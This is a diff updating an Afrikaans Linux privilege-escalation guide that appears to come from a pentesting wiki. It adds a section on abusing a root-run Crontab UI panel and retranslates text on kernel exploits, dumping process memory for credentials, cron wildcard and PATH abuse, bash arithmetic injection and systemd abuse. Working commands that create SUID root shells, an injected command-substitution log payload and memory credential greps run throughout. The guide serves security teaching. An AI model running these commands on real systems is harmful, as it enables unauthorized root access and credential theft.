diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9a530a539..884afd5bf 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Stelselinligting -### OS-inligting +### OS inligting -Kom ons begin om inligting oor die lopende OS te versamel. +Kom ons begin om inligting oor die OS wat aan die gang is te versamel ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Pad -As jy **skryfpermissies het op enige gids binne die `PATH`** veranderlike, kan jy dalk sekere libraries of binaries kaap: +As jy **skryfregte op enige gids binne die `PATH`**-veranderlike het, kan jy dalk sekere biblioteke of binaries hijack: ```bash echo $PATH ``` ### Omgewingsinligting -Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? +Is daar interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om voorregte te eskaleer +Kontroleer die kernel version en kyk of daar 'n exploit bestaan wat gebruik kan word om privileges te escalate. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie lys van kwetsbare kernel weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Jy kan 'n goeie lys van kwesbare kernel-weergawes en 'n paar reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ander plekke waar jy 'n paar **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die kwetsbare kernel weergawes vanaf daardie web te onttrek kan jy doen: +Om al die kwesbare kernel-weergawes van daardie web te onttrek, kan jy die volgende doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Gereedskap wat kan help om na kernel-exploits te soek, is: +Gereedskap wat kan help om na kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer op die slagoffer uit, slegs kontroleer exploits vir kernel 2.x) -Soek altyd **die kernel-weergawe op Google**, dalk is jou kernel-weergawe in 'n kernel exploit neergeskryf en sal jy seker wees dat hierdie exploit geldig is. +Soek altyd **die kernel-weergawe in Google**, miskien is jou kernel-weergawe in 'n kernel exploit geskryf en dan sal jy seker wees dat hierdie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-weergawe +### Sudo weergawe -Gebaseer op die kwesbare sudo-weergawes wat verskyn in: +Gebaseer op die kwesbare sudo-weergawes wat voorkom in: ```bash searchsploit sudo ``` @@ -125,14 +125,13 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap: - {{#ref}} docker-security/ {{#endref}} ## Skywe -Kontroleer **wat gemonteer en nie-gemonteer is**, waar en waarom. As iets nie-gemonteer is, kan jy probeer om dit te monteer en te soek na privaat inligting. +Kontroleer **wat gekoppel en nie-gekoppel is**, waar en waarom. As iets nie gekoppel is nie, kan jy probeer om dit te koppel en te kyk vir privaat inligting ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +144,56 @@ Lys nuttige binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op 'n soortgelyke masjien). +Kyk ook of **enige compiler geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waarin jy dit gaan gebruik (of op 'n soortgelyke) te compile. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Geïnstalleerde kwesbare sagteware -Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir privilege escalation…\ -Dit word aanbeveel om handmatig die weergawes van die meer verdagte geïnstalleerde sagteware te kontroleer. +Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om verhoogde bevoegdhede te verkry…\ +Dit word aanbeveel om handmatig die weergawes van die meer verdagte geïnstalleerde sagteware na te gaan. ```bash dpkg -l #Debian rpm -qa #Centos ``` -As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is te kyk. +As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk of daar verouderde en kwesbare sagteware op die masjien geïnstalleer is. -> [!NOTE] > _Neem asseblief kennis dat hierdie kommando's baie inligting sal wys wat meestal onbruikbaar sal wees; daarom word toepassings soos OpenVAS of soortgelyke aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ +> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal vertoon wat meestal nutteloos sal wees, daarom word toepassings soos OpenVAS of soortgelykes aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ ## Prosesse -Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?) +Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** het (miskien 'n tomcat wat deur root uitgevoer word?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die command line van die proses na te gaan.\ -Kontroleer ook jou privileges oor die processes binaries, dalk kan jy iemand oorskryf. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die proses se command line na te gaan.\ +Kontroleer ook **jou privileges oor die proses se binaries**, dalk kan jy iemand oorskryf. -### Prosesmonitering +### Process monitoring -Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes bereik word. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat dikwels uitgevoer word of wanneer 'n stel vereistes vervul is. -### Prosesgeheue +### Process memory Sommige dienste op 'n server stoor **credentials in clear text inside the memory**.\ -Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ -Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**. +Normaalweg het jy **root privileges** nodig om die geheue van prosesse wat aan ander users behoort te lees; daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ +Onthou egter dat **as 'n gewone user jy die geheue van die prosesse wat jy besit kan lees**. > [!WARNING] -> Neem asseblief kennis dat deesdae die meeste masjiene **nie ptrace by verstek toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou ongepriviligeerde gebruiker behoort kan dump nie. +> Neem kennis dat deesdae die meeste masjiene **ptrace nie standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou onprivileged user behoort kan dump nie. > -> Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: +> Die file _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebugeer word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het. -> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebugeer word. -> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vermoë vereis. -> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n parent process kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n reboot nodig om ptracing weer te aktiveer. #### GDB -Indien jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek. +As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses-ID wys **maps hoe geheue binne daardie proses se** virtuele adresruimte; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps** lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem file te seek en alle leesbare gebiede te dump** na 'n lêer. +Vir 'n gegewe proses-ID, **maps show how memory is mapped within that process's** virtuele adresruimte; dit wys ook die **permissions of each mapped region**. Die **mem** pseudo-lêer **exposes the processes memory itself**. Uit die **maps**-lêer weet ons watter **memory regions are readable** is en hul offsets. Ons gebruik hierdie inligting om **seek into the mem file and dump all readable regions** na 'n lêer. ```bash procdump() ( @@ -232,13 +231,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem benader word.\ -Gewoonlik is `/dev/mem` slegs deur **root** en die **kmem**-groep geleesbaar. +Tipies is `/dev/mem` slegs leesbaar deur **root** en die kmem groep. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump vir linux -ProcDump is 'n Linux-herontwerp van die klassieke ProcDump-instrument uit die Sysinternals-suite van instrumente vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n herontwerp vir Linux van die klassieke ProcDump-instrument uit die Sysinternals-suite van instrumente vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,33 +266,33 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om die geheue van 'n proses te dump, kan jy die volgende gebruik: +Om 'n proses se geheue te dump kan jy die volgende gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis) -### Inlogbesonderhede uit prosesgeheue +### Kredensiële vanaf prosesgeheue -#### Handmatige voorbeeld +#### Handmatig voorbeeld -As jy sien dat die authenticator-proses aan die gang is: +Indien jy vind dat die authenticator proses aan die gang is: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en soek vir credentials binne die memory: +Jy kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en in die geheue vir credentials soek: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steel duidelike teks inlogbewyse uit die geheue** en uit sommige **welbekende lêers**. Dit vereis root-voorregte om behoorlik te werk. +Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en van sommige **welbekende lêers**. Dit vereis root privileges om behoorlik te werk. -| Kenmerk | Prosesnaam | +| Funksie | Proses Naam | | ------------------------------------------------- | -------------------- | -| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,7 +313,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geskeduleerde/Cron jobs +## Geskeduleerde/Cron-take + +### Crontab UI (alseambusher) wat as root uitgevoer word – webgebaseerde scheduler privesc + +Indien 'n web “Crontab UI” paneel (alseambusher/crontab-ui) as root uitgevoer word en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n geprivilegieerde taak skep om privilegies te eskaleer. + +Tipiese ketting +- Ontdek 'n poort wat slegs op loopback beskikbaar is (bv. 127.0.0.1:8000) en die Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` +- Vind credentials in operasionele artifacts: +- Backups/scripts met `zip -P ` +- systemd unit wat `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` blootstel +- Tunnel en login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Skep 'n high-priv job en voer dit onmiddellik uit (laat SUID shell val): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Gebruik dit: +```bash +/tmp/rootshell -p # root shell +``` +Verharding +- Moet nie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale regte +- Bind aan localhost en beperk verder toegang via firewall/VPN; moenie wagwoorde hergebruik nie +- Vermy om secrets in unit files in te sluit; gebruik secret stores of 'n root-only EnvironmentFile +- Skakel audit/logging aan vir on-demand job-uitvoerings + + Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). ```bash @@ -322,28 +353,28 @@ crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron pad +### Cron path Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_) +(_Let daarop dat die gebruiker "user" skryfregte het oor /home/user_) -As in hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ -Dan kan jy 'n root-shell kry deur die volgende te gebruik: +As binne hierdie crontab die root user probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +Dan kan jy 'n root shell kry deur te gebruik: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron wat 'n skrip met 'n wildcard gebruik (Wildcard Injection) +### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) -As 'n skrip wat deur root uitgevoer word 'n “**\***” in 'n opdrag bevat, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld: +As 'n script wat deur root uitgevoer word 'n “**\***” in 'n opdrag het, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **nie).** +**As die wildcard voorafgaan word deur 'n pad soos** _**/some/path/***_ **, is dit nie kwesbaar nie (selfs** _**./***_ **is nie).** -Lees die volgende bladsy vir meer wildcard-uitbuitingstegnieke: +Lees die volgende bladsy vir meer wildcard exploitation tricks: {{#ref}} @@ -353,9 +384,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) en let plaasvind. As 'n root cron/parser onbetroubare log fields lees en dit in 'n arithmetic context voer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop. +Bash voer parameter/variable expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) en let plaasvind. As 'n root cron/parser onbetroubare log-velde lees en dit in 'n arithmetic context invoer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers vervang (die kommando word uitgevoer), daarna word die oorblywende numeriese `0` vir die arithmetic gebruik sodat die skrip sonder foute voortgaan. - Tipiese kwesbare patroon: ```bash @@ -367,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Uitbuiting: Laat attacker-controlled teks geskryf word in die geparsde log sodat die numeriese-uitziende veld 'n command substitution bevat en eindig met 'n syfer. Verseker jou command druk nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly. +- Uitbuiting: Kry aanvaller-beheerde teks in die geparsde log geskryf sodat die nomer-agtige veld 'n command substitution bevat en op 'n syfer eindig. Verseker dat jou kommando nie na stdout skryf nie (of herlei dit) sodat die arithmetic geldig bly. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +407,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -As jy **can modify a cron script** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: +As jy 'n cron script wat deur root uitgevoer word kan wysig, kan jy baie maklik 'n shell kry: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die script wat deur root uitgevoer word 'n **directory waar jy volle toegang het** gebruik, kan dit nuttig wees om daardie folder te verwyder en **'n symlink folder na 'n ander een te skep** wat 'n script uitvoer wat deur jou beheer word. +As die script wat deur root uitgevoer word 'n directory gebruik waarop jy full access het, kan dit dalk nuttig wees om daardie folder te delete en 'n symlink-folder te skep na 'n ander een wat 'n script bedien wat deur jou beheer word. ```bash ln -d -s ``` ### Gereelde cron jobs -Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit benut en escalate privileges. +Jy kan die prosesse moniteer om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daar voordeel uithaal en escalate privileges. -Byvoorbeeld, om **elke 0.1s vir 1 minuut te moniteer**, **op minder uitgevoerde commands te sorteer** en die commands wat die meeste uitgevoer is te verwyder, kan jy dit doen: +Byvoorbeeld, om **moniteer elke 0.1s gedurende 1 minuut**, **sorteer op die minste uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy dit doen: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin, monitor en lys). +**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin monitor en lys). ### Onsigbare cron jobs -Dit is moontlik om 'n cronjob te skep deur 'n carriage return na 'n comment te plaas (sonder newline character), en die cronjob sal werk. Voorbeeld (let op die carriage return char): +Dit is moontlik om 'n cronjob **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,32 +437,32 @@ Dit is moontlik om 'n cronjob te skep deur 'n carriage return na 'n comment te p ### Skryfbare _.service_ lêers -Kyk of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **gestart**, **herbegin** of **gestop** word (jy mag dalk moet wag totdat die masjien herbegin word).\ -Byvoorbeeld, skep jou backdoor binne die `.service` lêer met **`ExecStart=/tmp/script.sh`** +Kontroleer of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer** wanneer die diens **begin**, **herbegin** of **gestop** word (miskien sal jy moet wag totdat die masjien herbegin word).\ +Byvoorbeeld skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`** -### Skryfbare diens-binaries +### Skryfbare service-binaries -Hou in gedagte dat as jy **skryftoestemmings oor binaries wat deur dienste uitgevoer word** het, jy dit kan verander om backdoors in te sit, sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **skryfregte oor binaries wat deur services uitgevoer word** het, jy hulle kan verander vir backdoors sodat wanneer die services weer uitgevoer word, die backdoors uitgevoer sal word. -### systemd PATH - Relatiewe paaie +### systemd PATH - Relative Paths Jy kan die PATH wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -As jy vind dat jy in enige van die vouers op die pad kan **write**, kan jy moontlik **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos: +Indien jy vind dat jy in enige van die gidsers van die pad kan **write**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Skep dan 'n **uitvoerbare** lêer met dieselfde naam as die **relatiewe pad-binarie** binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (nie-geprivilegieerde gebruikers kan gewoonlik nie dienste begin/stop nie — maar kyk of jy `sudo -l` kan gebruik). +Skep dan 'n **executable** met dieselfde naam as die relatiewe pad binary binne die systemd PATH-gids wat jy kan skryf, en wanneer die service gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie dienste begin/stop nie maar kyk of jy `sudo -l` kan gebruik). -**Leer meer oor dienste met `man systemd.service`.** +**Leer meer oor services met `man systemd.service`.** ## **Timers** -**Timers** is systemd-eenheidslêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotoniese tydgebeurtenisse het en asynchroon uitgevoer kan word. +**Timers** are systemd-eenheidlêers waarvan die naam eindig in `**.timer**` wat `**.service**`-lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender-tydgebeure en monotoniese tydgebeure en asynchroon uitgevoer kan word. Jy kan al die timers opnoem met: ```bash @@ -439,58 +470,58 @@ systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit gebruik om sekere instansies van systemd.unit uit te voer (soos 'n `.service` of 'n `.target`) +As jy 'n timer kan wysig, kan jy dit dwing om sekere systemd.unit-eenhede uit te voer (soos 'n `.service` of 'n `.target`). ```bash Unit=backdoor.service ``` In die dokumentasie kan jy lees wat die Unit is: -> Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Die Unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, waarvan die suffix nie ".timer" is nie. As dit nie gespesifiseer is nie, gaan hierdie waarde standaard na 'n service wat dieselfde naam as die timer unit het, behalwe vir die suffix. (Sien hierbo.) Dit word aanbeveel dat die unit name wat geaktiveer word en die unit name van die timer unit identies genoem word, behalwe vir die suffix. -Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen: +Dus, om hierdie toestemming te misbruik sal jy moet: -- Vind 'n systemd unit (soos 'n `.service`) wat 'n **writable binary** uitvoer -- Vind 'n systemd unit wat 'n **executing a relative path** gebruik en jy het **writable privileges** oor die **systemd PATH** (om daardie executable te impersonate) +- Vind some systemd unit (like a `.service`) wat **'n skryfbare binaire uitvoer** +- Vind some systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfbevoegdhede** oor die **systemd PATH** (om as daardie uitvoerbare lêer op te tree) **Leer meer oor timers met `man systemd.timer`.** -### **Timer inskakelen** +### **Timer aktivering** -Om 'n timer te aktiveer benodig jy root privileges en om die volgende uit te voer: +Om 'n timer te aktiveer benodig jy root-regte en moet jy die volgende uitvoer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Let daarop dat die **timer** **geaktiveer** word deur 'n symlink na dit te skep op `/etc/systemd/system/.wants/.timer` +Let wel: die **timer** word **geaktiveer** 